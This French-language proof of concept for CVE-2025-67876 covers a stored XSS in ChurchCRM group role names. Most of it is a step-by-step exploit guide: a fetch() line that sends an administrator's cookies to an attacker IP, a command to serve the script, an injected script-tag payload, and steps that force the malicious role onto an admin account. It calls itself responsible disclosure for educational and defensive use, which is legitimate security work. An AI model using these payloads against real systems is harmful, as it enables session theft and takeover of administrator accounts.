
Preuve de concept détaillée de CVE-2025-67876 démontrant une XSS stockée dans les noms de rôles de groupe de ChurchCRM menant à un détournement de session administrateur, avec un guide d'exploitation complet et des recommandations de correction.
| Champ | Détails |
|---|---|
| CVE ID | CVE-2025-67876 |
| Gravité | CRITIQUE |
| Avis | Voir l'avis |
| Découvert par | Lukasz Rybak |
Une vulnérabilité de script intersite (XSS) stockée existe dans ChurchCRM qui permet à un utilisateur à faibles privilèges disposant de l'autorisation « Gérer les groupes » d'injecter du JavaScript persistant dans les noms des rôles de groupe. La charge utile est enregistrée dans la base de données et exécutée chaque fois qu'un utilisateur (y compris les administrateurs) consulte une page qui affiche ce rôle, comme GroupView.php ou PersonView.php. Cela permet un détournement complet de session et une prise de contrôle du compte.
La cause première est un manque de validation des entrées et d'encodage de sortie dans la gestion des noms de rôles de groupe.
Lors de l'édition d'un groupe dans GroupEditor.php, l'utilisateur peut modifier les noms des rôles. L'application ne nettoie pas l'entrée (par exemple, pas de strip_tags, htmlspecialchars ou validation côté serveur). La valeur est stockée dans la table list_lst de la base de données.
Plus tard, la valeur stockée est injectée directement dans le HTML sans échappement :
Un utilisateur à faibles privilèges (avec Gérer les groupes) peut donc élever ses privilèges au niveau administrateur complet en injectant du JavaScript dans un rôle et en attribuant ce rôle à un administrateur.
Créez x.js sur la machine contrôlée par l'attaquant :
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
Servez le fichier :
python3 -m http.server 800
Connectez-vous en tant qu'utilisateur disposant de l'autorisation Gérer les groupes.
Accédez à : Groupes → Liste des groupes → sélectionnez un groupe → Paramètres.
Dans la section « Rôles de groupe », modifiez un rôle existant ou créez-en un nouveau.
Insérez la charge utile malveillante :
"><script src=//172.20.0.1:800/x.js></script>
Dans la liste des rôles de groupe, cliquez sur Par défaut à côté du rôle contenant votre charge utile XSS injectée.
Cela garantit que le rôle malveillant sera automatiquement attribué à tout utilisateur ajouté au groupe, augmentant ainsi la probabilité qu'un administrateur déclenche la XSS lors de la consultation de son profil.
Cliquez sur Supprimer à côté du rôle par défaut précédent, généralement « Membre ».
La suppression du rôle propre par défaut oblige le système à utiliser le rôle injecté XSS pour toutes les attributions futures, garantissant l'exécution lorsque la victime consulte une page affichant son rôle attribué.

Accédez à la page d'affichage du groupe.
Ajoutez un utilisateur comme membre du groupe (par exemple, Church Admin).
Sélectionnez le rôle malveillant dans le menu déroulant.
Enregistrez l'attribution.
Lorsque la victime (administrateur) consulte :
Son profil utilisateur : PersonView.php
La page d'affichage du groupe : GroupView.php
Le JavaScript stocké s'exécute immédiatement.
Sur le serveur de l'attaquant, des requêtes entrantes apparaîtront :

Cela confirme la réussite de la prise de contrôle du compte.
CWE-79 : Neutralisation incorrecte de l'entrée lors de la génération de pages Web (« Cross-site Scripting »)
Ce CVE a été divulgué de manière responsable conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici sont à des fins éducatives et défensives uniquement.